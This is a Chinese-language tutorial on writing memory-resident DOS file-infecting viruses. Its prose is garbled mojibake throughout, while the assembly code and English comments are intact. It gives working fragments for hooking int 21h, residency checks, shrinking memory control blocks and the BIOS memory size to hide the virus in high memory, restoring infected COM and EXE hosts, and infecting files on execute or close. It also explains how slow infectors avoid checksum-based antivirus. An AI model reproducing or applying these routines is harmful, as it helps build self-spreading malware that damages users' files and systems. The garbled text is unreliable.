Á|¤Z±z¦b DOS ¤¤©Ò¦³¥i¬Ý¨ìªº¥\¯à¤@©w·|¥h©I¥s¸Ó¤¤Â_³B²z¤@¨ÇªFªF...

¡@

ÄdºI¤è­±¥H²Õ»y¨Ó»¡...

mov ax,3521h

int 21h

·|¥Ñ es:bx ¶Ç¦^ int 21h ªº¶i¤JÂI¦ì§} ³o­Ó¦ì§}¤]¥i¥H±q

0000:0021h*4³o­Ó¦ì§}¤¤±o¨ì¶i¤JÂI¦ì§}..¦b°O¾ÐÅ餤¬O¤Ï¬ÛÀx¦sªº...

mov ax,2521h

mov ds,±z±ý¥N´À int 21hªºµ{¦¡¶i¤JÂI¸`¦ì§}(Segment)

mov dx,±z±ý¥N´À int 21hªºµ{¦¡¶i¤JÂI¬q¦ì§}(Offset)

int 21h ´N¥i¥HÄdºI

¦P²z...ª½±µ¥h­×§ï 0000:0021h*4 ³o­Ó¦ì§}¤@¼Ë¤]¥i¥H¹F¨ìÄdºI®ÄªG

¡@

¥H C ¨Ó»¡¦³¨â­Ó¸û­«­nªº¨ç¦¡

setvector(³]©w¤¤Â_·s¶i¤JÂI¦ì§}) »P getvector(¨D¤¤Â_¦ì§})

¡@

¤@¼Ë¥i¥H¼ÒÀÀ¥X¤W­zªº°Ê§@

±z¥i¥H¨Ï¥Î«ü¼Ð«ü¦V 0000:0021h*4 ³o­Ó¦ì§}ª½±µ

I/O(ª½±µ­×§ïªº«e´£¬O±zªºµ{¦¡¸`¦ì§}¬q¦ì§}­n¥ý¨D¥X)

¡@

ÄdºIªº§Þ¥©«D±`¦h...»Ý­n¦³¤@©w¸gÅç...¦pªG±z¶}©l½m²ßÄdºIªº¸Ü...

¨Ò:int 21h...«Ü¦h±¡ªp¤U±z³£¥²»ÝÀ°¥¦³B²z Stack...¥H§K Stack overflow

©ÎªÌ¬O§óÄY­«ªº°ÝÃD...Stack ªº­«¤J°ÝÃD...±z³Ì¦n¿ï¤W­±»¡¹L 3 ºØ»y¨¥¤§¤@¨Ó¾Ç...¦p C »y¨¥´N¬O¤£¿ùªº¿ï¾Ü...¦]¬° C »y¨¥¦³ Inline ªº assembly »yªk...¤£©È³B²z±o¤£°÷§C¶¥...¥u¬O¨Ï¥Î³oºØ»yªkªº¸Ü...¤S·|¦³«Ü¦h°ÝÃD...²¦³º C ©|ÄÝ°ª¶¥»y¨¥...±z¤£ª¾¹D½s¿è¾¹¶ë¤FÔ£ªFªF¶i±zªº°õ¦æÀÉ...­Ë¤£¦p²Õ»y...§âµ{¦¡¼g¥X¨Ó«á´N¥i¥H¹wª¾°õ¦æÀɦ³¦h¤j...³o¬O C ¸û¿ì¤£¨ìªº¦a¤è...§ó¥i¯à·|¦]¦¹±a¨Ó¤£¥i¹wª¾ªº¿ù»~µo¥Í...

¡@

­«­nªºbios¤¤Â_

int 19h ·í§Ú­Ì¶}¾÷¤§«ábios´N¬O°õ¦æ³o¤¤Â_ªA°Èµ{¦¡¦Ó±NbootºÏ°Ï

¸ü¤J¡C

int 18h ­Y¨t²Î¤W¦³basic rom¡A«h¶}¾÷«árom bios·|±Nint 18hªº¤¤Â_

¦V¶q«ü¦Vrom basic¡C

int 13h °µphysicalªºÅª¨ú¡A¦Ó¤£¨ülogicalºÏºÐªº­­¨î¡A¤]´N¬O»¡¡A

int 13h¥i¥HŪ¨úºÏºÐ¹êÅ骺¥ô¦ó¤@­ÓºÏ°Ï¡C

¡@

¤¤Â_¦V¶qªí

¨t²Î¤¤Â_¦V¶qªí¦ì©ó°O¾ÐÅéµ´¹ï¦ì§}00000h~000FFh¡A¹ïÀ³©ó

int 0h~int 0FFh¡C¨C­Ó¤¤Â_¦V¶q¬°¥|­Óbyte¡C

¦^¥Ø¿ý

¡@

6.±`¾n«¬¯f¬rªº¸Ô²Ó»¡©úƬ


¡@

~~~~

µ²ºc

~~~~

³oºØ¯f¬r¥]§t¤F¨â¤j³¡¤À¡G¸ü¤J¾÷¨î¥H¤ÎÄdºI³B²z¡C¸ü¤J¾÷¨î´£¨Ñ¤F¨âºØ¥\¯à¡C­º¥ý¡A¥¦·|±N¤¤Â_¦V¶qÂà¦Ü¯f¬r¥»¨­¡F¨ä¦¸¡A¥¦±N¯f¬r±`¾n¡C¦ÓÄdºI³B²z«h§t¦³·|¾É­P·P¬VÀɮתºµ{¦¡½X¡C¼s¸q¦Ó¨¥¡A³B²z¾÷¨î·|«§ï²Ä21¸¹¤¤Â_¨ÃºIÂ_¬Y¨Ç¥i¥Î©ó°õ¦æÀɮתº©I¥s¡C

¡@

~~~~~~~~

¸ü¤J¾÷¨î

~~~~~~~~

¸ü¤J¾÷¨î¥]§t¤F¨â¤j³¡¤À¡G±`¾nµ{§Ç¥H¤ÎÁÙ­ìµ{§Ç¡C«áªÌ©Ò°µªº¡A´N¦p¦P«D±`¾n«¬¯f¬rªº¤@¯ë¡A±N±±¨îÅv¥æ¦^­ì©lÀɮסC¦Ü¤µ¤w¸g¤F¸Ñ·P¬V.COMÀɪº¶ø¸q¡C¥u­n§â¶}ÀY«e´X¦ì¤¸²Õ´«±¼¡A±±¨îÅv«K²¾Âà¨ì¯f¬r¤W¡CÁÙ­ì.COMÀɪº¯µ³Z¶È¶È¥u­n±N³QÂл\ªº¨º´X¦ì¤¸²ÕÁÙ­ì§Y¥i¡C³o­ÓÁÙ­ì¹Lµ{µo¥Í¦b°O¾ÐÅ餤¡A©Ò¥H¨Ã¤£¬O¥Ã¤[ªº¡C¥Ñ©ó.COMÀÉ¥u¦û³æ¤@¸`°Ï¡A¥BÁ`¬O¥Ñ¦¹¸`°Ï¤º°¾²¾­È 100h ³B¸ü¤J¡]¦]¬°­n¹w¯d PSPªºªÅ¶¡¡^¡A´_­ìµ{§ÇÅܪº²§±`²³æ¡CÁ|¨Ò¦Ó¨¥¡A°²¦p¦W¬°"first3"ªº½w½Ä°Ï¤º¦s©ñªº¬O¨ü¯f¬r·P¬V«eÀɮתº«e¤T¦ì¤¸²Õ¡A«h¥H¤Uªºµ{¦¡

½X«K·|¦b°O¾ÐÅ餤±N­ì©l½XÁÙ­ì¡G

¡@

mov di,100h ; Absolute location of destination

lea si,[bp+first3] ; Load address of saved bytes.

; Assume bp = "delta offset"

movsw ; Assume CS = DS = ES and a cleared direction flag

movsb ; Move three bytes

¡@

±N±±¨îÅv¥æÁÙµ{¦¡ªº°ÝÃD¤´µM¦s¦b¡C¥ç§Yªí¥Ü¥²¶·±j­¢µ{¦¡±N±±¨îÅv²¾Âà¨ì°¾²¾­È100h ªº³B¡C³Ì²³æªº¸Ñªk´N¹³¡G

¡@

mov di,100h

jmp di

¡@

³o­Óµ{§Ç¦³¦hºØÅܤƥi¥H°µ¨ì¡A¦ý¥¦­Ì³£¹F¨ì±NIP³]¬° 100h ªº°ò¥»­n¨D¡C²{¦b¡A§AÀ³¸Ó¤]ÁA¸Ñ¤F·P¬V.EXEÀɪº¶ø¸q¡C³Ì²©öªº¤âªk´N¬O´À´«.EXEÀÉÀÉÀYªº¬Y¨Ç©T©wªº¦ì¤¸²Õ¡CÁ٭쪺¯µ³Z´N¦b©ó«ì´_©Ò¦³¯f¬r°µ¹Lªº­×§ï¡Cµ{¦¡¦p¤U¡G

¡@

mov ax, es ; ES = segment of PSP

add ax, 10h ; Loading starts after PSP

add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was

; relative to end of PSP

cli

add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well

mov ss, ax

mov sp, word ptr cs:[bp+OrigSSSP]

sti

db 0eah ; JMP FAR PTR SEG:OFF

OrigCSIP dd ? ; Put values from the header

OrigSSSP dd ? ; into here

°²¦p§A·Q¥Î.COMÀÉ°µ¬°¤@­Ó¥u·|·P¬V.EXEÀɪº¯f¬r¤§¸üÅé¡A§A¥u­n»´ÃP¦a±NOrigCSIP³]¬° FFF0:0000´N¦n°Õ¡I³o±N·|³QÁÙ­ìµ{§ÇÁ٭즨 PSP:0000 ¡A´N¬O³q±`©ñ²Ä20¸¹¤¤Â_¤§³B¡C

¡@

³o¨Ç¤º®eÀ³¸Ó³£¤£¬O·sªF¦è¡C²{¦b§Ú­Ì­n¸ó¥X³q©¹·s»â°ìªº¨B¥ï¡C¹F¨ì±`¾nªº¤èªk¦³¨âºØ¡C²Ä¤@ºØ¤èªk´N¬O§Q¥Î DOS©I¥s§¹¦¨¥ô°Èªº¡u¥®¹n¤èªk¡v

¡C¯u¥¿ªº¯f¬r§@ªÌ·|¦Û¤v¼g±`¾nµ{§Ç¡C³Ì°ò¥»ªº«K¬O¡u«§ï MCB¡vªk¡C

³q«h¬O¡G

¡@

Æ¡ ²¬d¬O§_¤w±`¾n¡C­Y¤w¸g±`¾n¡A«h¸õ¥X¯f¬r¡C

Æ¢ §ä¨ì°O¾ÐÅé³»ºÝ¡C

Æ£ °t¸m°ª°O¾ÐÅé¡C

Ƥ ½Æ»s¯f¬r¦Ü°ª°O¾ÐÅé¡C

Æ¥ ¸m´«¤¤Â_¦V¶q¡C

¡@

³o­Ó§Þ¥©¦³³\¦h¤£¦Pªº­·»ª¡A¦b¦³»Ý­n®É·|¤@¤@°Q½×¡C

¡@

~~~~~~~~

¦w¸Ë¬d®Ö

~~~~~~~~

¡@

¦w¸Ë¬d®Ö¦³µû¦h¤£¦PªºÃþ§O¡C³Ì±`¨£ªº´N¬O©I¥s²Ä21¸¹¤¤Â_¡A¨Ã¦bAX¼È¦s¾¹¤¤©ñ¤J¯S©wªº­È¡C°²­Y¥Ñ¬Y¯S©w¼È¦s¾¹¶Ç¦^¬Y¯S©w­È¡A¨ºªí¥Ü¦¹¯f¬r¤w¸g±`¾n¹L¤F¡CÁ|¨Ò¦Ó¨¥

¡A¤@­Ó½T»{±`¾nªº½d¨Ò¦p¤U¡G

mov ax,9999h ; residency check

int 21h

cmp bx,9999h ; returns bx=9999h if installed

jz already_installed

·í§A¬°¤F¦w¸Ë¬d®Ö¡A¦Ó­n¿ï©ñ¤JAXªº­È®É¡A°O±o¤£­n½Ä¨ì¬J¦³ªº©I¥s¡A°£«D­ì¥»´N¬OµL®`ªº¡C¤ñ¦p»¡¡A¤£­n¨Ï¥Î¨q¦r¦ê¦b¿Ã¹õ¤Wªº©I¥s(ah=9)¡A°£«D§A§Æ±æ¦b¥¦²Ä¤@¦¸±`¾n®Éµo¥Í¤£¥i¹w´Áªºµ²ªG¡I¦ÓµL®`ªº©I¥s¡A´N¹³¬O¨ú±o DOSª©¥»(ah=30h)©Î¬O§ó·sÁä½L½w½Ä°Ï(ah=0bh)ªº©I¥s¡C·íµM¡A°²­Y³o­ÓÀˬd»P²{¦³ªº¥\¯à½Ä¨ì¡A¨º§A¥²¶·«D±`¤p¤ßªº½T»{¨S¦³µ{¦¡·|¹ï¥¦·P«_¡CÁ|¨Ò¦Ó¨¥¡A¤£­n¥u»¤®·ah=30h¡A¦Ó¬O­n»¤®·ax=3030h©Î¬O±Nax=3030h¥H¤Îbx=3030h¦P®É»¤¾É¡C

¡@

¥t¤@ºØÀˬd¬O§_¤w±`¾nªº¤èªk´N¬O¥h§ä´M¯f¬r¤¤ªº¬Y¨Ç¯S¼x¡C¤ñ¦p»¡¡A°²­Y¬Y¯f¬rÁ`¬O±N¬Y¥¼¨Ï¥Îªº¤¤Â_©I¥s«ü¦V¥¦¥»¨­¡A¤@­ÓÀˬdªº¤èªk«K¬O¥h§ä´M¦¹¯S¼x©Ò¨Ï¥Îªº¤¤Â_¦V¶q¡C¦p¤U¡G

xor ax,ax

mov ds,ax ; ds->interrupt table

les bx,ds:[60h*4] ; get address of interrupt 60h

; assume the virus traps this and puts its int 21h handler

; here

cmp es:bx,0FF2Eh ; search for the virus string

.

.

.

int60:

jmp far ptr cs:origint21

·í§A¨Ï¥Î¦¹ªk®É¡A½Ð¤p¤ß½T»{¦¹¯S¼x¤£·|¦b¯f¬r±`¾n®É¥¢®Ä¡C¦b¤W¨Ò¤¤¡A¨ä¥¦µ{¦¡´N¤£¯àÄdºI 60h¡A§_«h¬d®Ö·|¥¢®Ä¡C¬Æ¦Ü·í¯f¬r¤w¸ü¤J°O¾ÐÅé®É¡A·|²£¥Í¤£¥i¹w´Áªº«áªG¡C

¡@

¡@

~~~~~~~~~~~~~~~~

´M§ä°O¾ÐÅ骺³»ºÝ

~~~~~~~~~~~~~~~~

¡@

DOS ³q±`°t¸m©Ò¦³ªº°O¾ÐÅéµ¹³Q¸ü¤Jªºµ{¦¡¡C§Q¥Î³o­Óª¾ÃÑ¡A¯f¬r¥i¥H«Ü®e©öªº±o¨ì¥i¨Ï¥Îªº°O¾ÐÅé¤j¤p¡C­«ÂФ@¦¸¡AMCB ªºµ²ºc¬O¡G

Offset Size Meaning

------ ------- -------

0 BYTE 'M' or 'Z'

1 WORD Process ID (PSP of block's owner)

3 WORD Size in paragraphs

5 3 BYTES Reserved (Unused)

8 8 BYTES DOS 4+ uses this. Yay.

¡@

mov ax,ds ; Assume DS initially equals the segment of the PSP

dec ax

mov ds,ax ; DS = MCB of infected program

mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)

¡@

¤@­Ó¦³¦P¼Ë®ÄªG«o§ó²³æªº¤èªk¬O«ö·Ó¤U¦C¤è¦¡¨Ï¥ÎDOS ªº­«°t¸m°O¾ÐÅé©I¥s¡G

mov ah,4ah ; Alter memory allocation (assume ES = PSP)

mov bx,0FFFFh ; Request a ridiculous amount of memory

int 21h ; Returns maximum available memory in BX

; This is the same value as in ds:[3]

¡@

~~~~~~~~~~~~

°t¸m°ª°O¾ÐÅé

~~~~~~~~~~~~

¡@

°t¸m°O¾ÐÅé³Ì²³æªº¤èªk¬O³z¹LDOS §¹¦¨§Aªº¤u§@¡G

mov ah,4ah ; Alter memory allocation (assume ES = PSP)

sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total

; memory available to the program (returned by earlier

; call to int 21h/function 4ah

int 21h

mov ah,48h ; Allocate memory

mov bx,(endvirus-startvirus+15)/16

int 21h

mov es,ax ; es now holds the high memory segment

dec bx

mov byte ptr ds:[0], 'Z' ; probably not needed

mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB

¡@

±NMCB ªº¾Ö¦³ªÌ³]¬°DOS ªº¥Øªº¬O¬°¤F¨¾¤î·í¸üÅéµ{¦¡µ²§ô®É¡A°O¾Ð°Ï¬q·|³QÄÀ©ñªº«áªG¡C

¡@

·íµM¡A¦³¤H³ß·Rª½±µ­×§ïMCBsªº­È¡C³o¬O«Ü®e©ö°µ¨ìªº¡C°²³]DSªº­È©M¸üÅéµ{¦¡MCBªº¸`¦ì§}¬Û¦P¡A¤U­±ªºµ{¦¡´£¨Ñ¤F³oºØ§Þ¥©¡G

; Step 1) Shrink the carrier program's memory allocation

; One paragraph is added for the MCB of the memory area which the virus

; will inhabit

sub ds:[3],(endvirus-startvirus+15)/16 + 1

; Step 2) Mark the carrier program's MCB as the last in the chain

; This isn't really necessary, but it assures that the virus will not

; corrupt the memory chains

mov byte ptr ds:[0],'Z'

; Step 3) Alter the program's top of memory field in the PSP

; This preserves compatibility with COMMAND.COM and any other program

; which uses the field to determine the top of memory

sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1

; Step 4) Calculate the first usable segment

mov bx,ds:[3] ; Get MCB size

stc ; Add one for the MCB segment

adc bx,ax ; Assume AX still equals the MCB of the carrier file

; BX now holds first usable segment. Build the MCB

; there

; Alternatively, you can use the value in ds:[12h] as the first usable

; segment:

; mov bx,ds:[12h]

; Step 5) Build the MCB

mov ds,bx ; ds holds the area to build the MCB

inc bx ; es now holds the segment of the memory area controlled

mov es,bx ; by the MCB

mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain

; Note: you can have more than one MCB chain

mov word ptr ds:[1],8 ; Mark DOS as the owner

mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field

¡@

¤U­±«h¤S¬O¥t¤@ºØª½±µ­×§ïMCB ªº¤èªk¡C

¡@

; Step 1) Shrink the carrier program's memory allocation

; Note that rounding is to the nearest 1024 bytes and there is no

; addition for an MCB

sub ds:[3],((endvirus-startvirus+1023)/1024)*64

; Step 2) Mark the carrier program's MCB as the last in the chain

mov byte ptr ds:[1],'Z'

; Step 3) Alter the program's top of memory field in the PSP

sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64

; Step 4) Calculate the first usable segment

mov es,word ptr ds:[12h]

; Step 5) Shrink the total memory as held in BIOS

; Memory location 0:413h holds the total system memory in K

xor ax,ax

mov ds,ax

sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size

¡@

«áªÌ¤ñ«eªÌ±j¤j¡A¦]¬°¥¦¤ñ«eªÌ²³æ¥Bµu¤p¡C·sªºMCB ¤£»Ý³Q«Ø¥ß¡A¦]¬°DOS ±N¤£¦A°t¸m³Q¯f¬r¦û¾Úªº°O¾ÐÅé¡C­×§ï°O¸ü¦bBIOS¸ê®Æ°Ï¦³Ãö°O¾ÐÅé¤j¤pªº°O¿ý¥i¥H«OÃÒ³o­Ó±¡§Î¡C

¡@

~~~~~~~~~~~~~~~~~~

½Æ»s¯f¬r¦Ü°ª°O¾ÐÅé

~~~~~~~~~~~~~~~~~~

¡@

³o¯u¬O¥ó¤Q¤À¥i¯ºªº®e©ö¨Æ¡C¥u­n±NES¹ï·Ç°ª°O¾ÐÅé¸`°Ï¡ADS¹ï·ÇCS¡ABP¹ï·Ç°¾²¾­È¡A¤U­±ªºµ{¦¡½X«K¥i¥H¹F¨ì¥Øªº¡G

lea si,[bp+offset startvirus]

xor di,di ; destination @ 0

mov cx,(endvirus-startvirus)/2

rep movsw ; Copy away, use words for speed

~~~~~~~~~~~~

¸m´«¤¤Â_¦V¶q

~~~~~~~~~~~~

¡@

¦A«×¡A¦³¨â­Ó¤è¦¡¥i¥H¨Ï¥Î¡G³z¹LDOS ©Îª½±µ¸m´«¡C¨C­Ó¦³¤ßªºµ{¦¡³]­pªÌ³£´¿©M¤¤Â_¦V¶q¾Ä°«¹L¡C­Y³z¹LDOS ¡G

¡@

push es ; es->high memory

pop ds ; ds->high memory

mov ax,3521h ; get old int 21h handler

int 21h ; to es:bx

mov word ptr ds:oldint21,bx ; save it

mov word ptr ds:oldint21+2,es

mov dx,offset int21 ; ds:dx->new int 21h handler in virus

mov ax,2521h ; set handler

int 21h

¡@

¦Ó­Yª½±µ­×§ï¡G

¡@

xor ax,ax

mov ds,ax

lds bx,ds:[21h*4]

mov word ptr es:oldint21,bx

mov word ptr es:oldint21+2,ds

mov ds,ax

mov ds:[21h*4],offset int21

mov ds:[21h*4+2],es

¥Ñ©óÅܼƪº¦ì¸m¤w¸gª¾¹D¡A¦ì²¾­È®t¶Zªº­pºâ¨Ã¤£¤Q¤À­«­n¡C³o¬O¦]¬°¯f¬rÁ`¬O¸ü¤J¦Ü°ª°O¾ÐÅé°¾²¾­È¢¯ªº¦a¤è¡C

¡@

~~~~~~~~

ÄdºI³B²z

~~~~~~~~

¡@

ÄdºI³B²z¾÷¨î¬O¥Î©óºIÂ_DOS ªº©I¥s¨ÃÂà±µ¦Ü¯f¬r¡C¶Ç²Î¤W¡AÄdºI³B²z¬O¥Ñ¤@­ÓÀˬd¦w¸Ë¬d®Ö©I¥sªº¨BÆJ¶}©l¡CÁ|¨Ò¨Ó»¡¡G

¡@

int21:

cmp ax,9999h ; installation check?

jnz not_installation_check

xchg ax,bx ; return bx = 9999h if installed

iret ; exit interrupt handler

not_installation_check:

; rest of interrupt handler goes here

¦b¤£§«Ãªªº±¡§Î¤U¡A¯f¬r¥i¥H«§ï¥ô¦ó¥¦·QÄdºIªºDOS ©I¥s¡C³q±`³Ì¦³Â«§ï»ù­Èªº©I¥s¬OÀÉ®×°õ¦æ(ax=4b00h)¡A¦p¦¹¤@¨Ó¡A¨C­Ó³Q°õ¦æªºÀɮ׳£·|³Q·P¬V¡C¥t¤@­Ó¥i¥H«§ïªº©I¥s¬O¥N½XÃö³¬¡]ÁöµM³o­nªá¸û¦hªº¤u¤Ò¡^¡C³oºØ·P¬V´N·|µo¥Í¦b«þ¨©¡BÆ[¬Ý¡B¸Éºó¤W¡C¦b¬Y¨Ç©I¥s¤W¡A«e¸mÃìµ²¸û¦n¡F¤Ï¤§¡A«h¥Î«á¸mÃìµ²¡C´N·í°µ°ò¥»±`Ãѧa¡I°²¦p³QÄdºIªº©I¥s±N·|¯}ÃaÀɮשΫü¦ì¾¹¡A¨º»ò¨Ï¥Î«e¸mÃìµ²¡C­Y¬O©I¥s¥²¶·¦b·P¬V«e§¹¦¨¡A¨º´N¨Ï¥Î«á¸mÃìµ²¡C¡]Ķª`¡G«e¸mÃìµ²ªí¥Ü¸Ó©I¥s¦b·P¬V¦æ¬°«e¦ê±µ¡A¤Ï¤§¥çµM¡^

«e¸mÃìµ²«Ü²³æ¡G

¡@

pushf ; simulate an int 21h call

call dword ptr cs:oldint21

; The following code ensures that the flags will be properly set upon

; return to the caller

pushf

push bp

push ax

; flags [bp+10]

; calling CS:IP [bp+6]

; flags new [bp+4]

; bp [bp+2]

; ax [bp]

mov bp, sp ; setup stack frame

mov ax, [bp+4] ; get new flags

mov [bp+10], ax; replace the old with the new

pop ax ; restore stack

pop bp

popf

¦bÃìµ²§¹¦¨¡AÂ÷¶}ÄdºI³B²z®É¡A¨Ï¥Î iret ¸û retn ©Î retf ¬°¨Î¡C«á¸mÃìµ²§ó²³æ¡G

¡@

jmp dword ptr cs:oldint21 ; this never returns to the virus int handler

¡@

·íÂ÷¶}ÄdºI³B²z®É¡A½Ð½T»{°ïÅ|ªº§¹¾ã¤Î¼È¦s¾¹ªº­ì­È¡C°È¥²¦b«e¸mÃìµ²¤§«á¤Î«á¸mÃìµ²«e«O¦s¤U¼È¦s¾¹ªº¤º­È¡C

¡@

±`¾n¦¡¯f¬rªº·P¬V°Ê§@°ò¥»¤W©M«D±`¾n¯f¬r¬O¬Û¦Pªº¡C°ß¤@ªº¤£¦P³B¬O¦b·íÄdºI³B²z«§ï·P¬Vµ{§Ç¤¤¬Y­Ó·|¥Î¨ìªº©I¥s¤§®É¡C¤ñ¦p»¡¡A­Y¬O­n«§ï¥N½XÃö³¬©I¥s¡A¨º»ò·P¬Vµ{§Ç´N­n¥Î¤@­Ó«ü¦V­ì int21h ³B²z¾¹ªºµ{§Ç§â¥N½XÃö³¬ªº©I¥s´«±¼¡C´N¹³¡G

¡@

pushf

call dword ptr cs:oldint21

¡@

¹ï±`¾n¯f¬r¦Ó¨¥¡A·í³B²z½s½X¹Lµ{®É¡A³o¤]¬O¥²¶·ªº¡C¦b«D±`¾n¯f¬r¤¤¡A¯f¬r½X¦b¾ã­Ó¹Lµ{¤¤¬O¨S¦³¥²­n«O¦s¤U¨Óªº¡CµM¦Ó¡A´Nºâ¬O¦b·P¬Vµo¥Í®É¡A«O«ù¸Ñ½X§¹ªºÄdºI³B²zµ{¦¡¬O­È±o°µªº¡C¦]¦¹¡A¯f¬r­n¦b°O¾ÐÅ餤¯d¤U¨â¥÷«þ¨©¡G¤@¥÷´N¬Oµ{¦¡¦Ó¥t¤@¥÷µø°µ¸ê®Æ¡C½s½X¾¹´N±N«áªÌ½s½X¦Ó«O«ùÄdºI³B²z¦bµ{¦¡¤¤¡C³o¬O¬Û·í­«­nªº¡A¤×¨ä¬O·í¯f¬rÁÙ·|«§ï¨ä¥¦¤¤Â_¡A¦p int09h ©Î int13h ®É¡C

¡@

~~~~~~~~~~~~~~~~~~

±`¾n¯f¬rªº¤@¶µ²z½×

~~~~~~~~~~~~~~~~~~

¡@

±`¾n¯f¬r¦b¶Ç²Î¤W¥i¤À¬°¨âÃþ¡GºC³t¶Ç¬V«¬¤Î§Ö³t¶Ç¬V«¬¡C³o¨âÃþ¦U¦³¨ä§Q¹ú±o¥¢¡C

¡@

ºC³t¶Ç¬V«¬¬O°£¤FÀɮ׫إߥ~³£¤£·P¬Vªº¡C³oÃþ¯f¬r­×§ï«ØÀɵ{§Ç¡A¨Ã¦bÀÉ®×Ãö³¬®É·P¬VÀɮסC·P¬V±Nµo¥Í¦b·sÀɪº«Ø¥ß¤ÎÀɮתº«þ¨©¤W¡C³oºØ¯f¬rªº¤@­Ó¯ÊÂI´N¬O¥¦´²§Gªº¤ÓºC¤F¡CµM¦Ó¡A³o­Ó¯ÊÂI¤]¥¿¬OÀuÂI©Ò¦b¡A¥¦±N¥i¥H«O«ùªø®É¶¡ªº¤£¥i°»´ú¡CÁöµM·Pı¤W¦¹Ãþ¯f¬r¸ûµL®Ä²v¡A¤£¹L¨Æ¹ê¤W¥¦­Ìªí²{ªº¤£¿ù¡I¦b«ØÀɮɶǬV¡A¦P®Éªí¥Ü¡A¨º¨Ç©Ò¿×ªº Checksum/CRC ¦¡¨¾¬rµ{¦¡µLªk¦b·P¬V¤§«e¹ï¦¹Àɮ׶i¦æ Checksum/CRC ³B²z¡C°£¦¹¤§¥~¡AÀɮ׳q±`¦h¥Ñ¤@­Ó¥Ø¿ý«þ¨©¦Ü¥t¤@­Ó¤£¦Pªº¥Ø¿ý¡C¬G¦¹Ãþ¯f¬r¥i¦æ¡C

¡@

§Ö³t¶Ç¬V«¬¦b°õ¦æÀɮ׮ɶǬV¡C³oÃþ¯f¬r³q±`¥ß§Y§ðÀ»±`¥Îµ{¦¡¡A¥H½T«O¤U¦¸¶}¾÷«á¤´¯à¦s¦b©ó°O¾ÐÅ餤¡C³o¬O¥¦­Ìªº¥D­nÀuÂI¡A«o¤]¬O³Ì¤jªº¯ÊÂI¡C¦]¬°³oÃþ¯f¬r¶Ç¬Vªº¤Q¤À§Ö³t¡A¨Ï¥ÎªÌ«Ü®e©ö·|µo²{¨t²Îªº¤£´M±`¡F¤×¨ä¬O¦b¯f¬r¥¼¨Ï¥Î¥ô¦óÁô§Î§Þ¥©¤§®É¡C

¡@

·íµM¡A¨S¤H´±»¡¨º¤@ºØ¬O¸û¨Îªº¡C³o¬O­Ó¤H³ß¦nªº°ÝÃD¡CÁöµMºC³t¶Ç¬V«¬¯f¬r¥¿¦b«æ³t¼W¥[¡A²{¤µ¤j¦h¼Æ¯f¬r¤´¬O§Ö³t·P¬V«¬¡C

¡@

·í¯f¬r±ý¦b«ØÀɩΫþ¨©®É·P¬V¡A¥¦¥²¶·§âÀɦW½Æ»s¨ì½w½Ä°Ï¤º¡A°õ¦æ©I¥s¡A¨Ã«O¦s¥N½X¡C·í¦¬¨ì¦¹¥N½XªºÃöÀÉ«ü¥Ü®É¡A´N§Q¥Î­è«O¦sªºÀɦW¥h·P¬VÀɮסC³o¬O¤£¥Î°l¤JDOS¤º³¡¡A¶È¬O¦bÃö³¬¥N½X«á·P¬Vªº¤@­Ó³Ì²³æªº¤èªk¡C

¦^¥Ø¿ý

¡@

¡@

¥H¤W¸ê®Æ¨Ó¦Û:

1. ¶Â·t¤Ñ¨Ï¯f¬r¼g§@«ü«n¢´ Chung Yuan-Kai Ķ

2. ¹q¸£¯f¬r¥@¬É±´±K¨t¦C¤§¤@ °Ê95 Á餸³Í

3. Ãö©ó¥¨¶°¯f¬r foolman

4. ¹q¸£¯f¬r¹ý©³¬ã¨s ¬I«Â»Ê¤u§@«Ç

5. ¹q¸£¯f¬rµ{¦¡¸ÑªR ¤ý¦°

¡@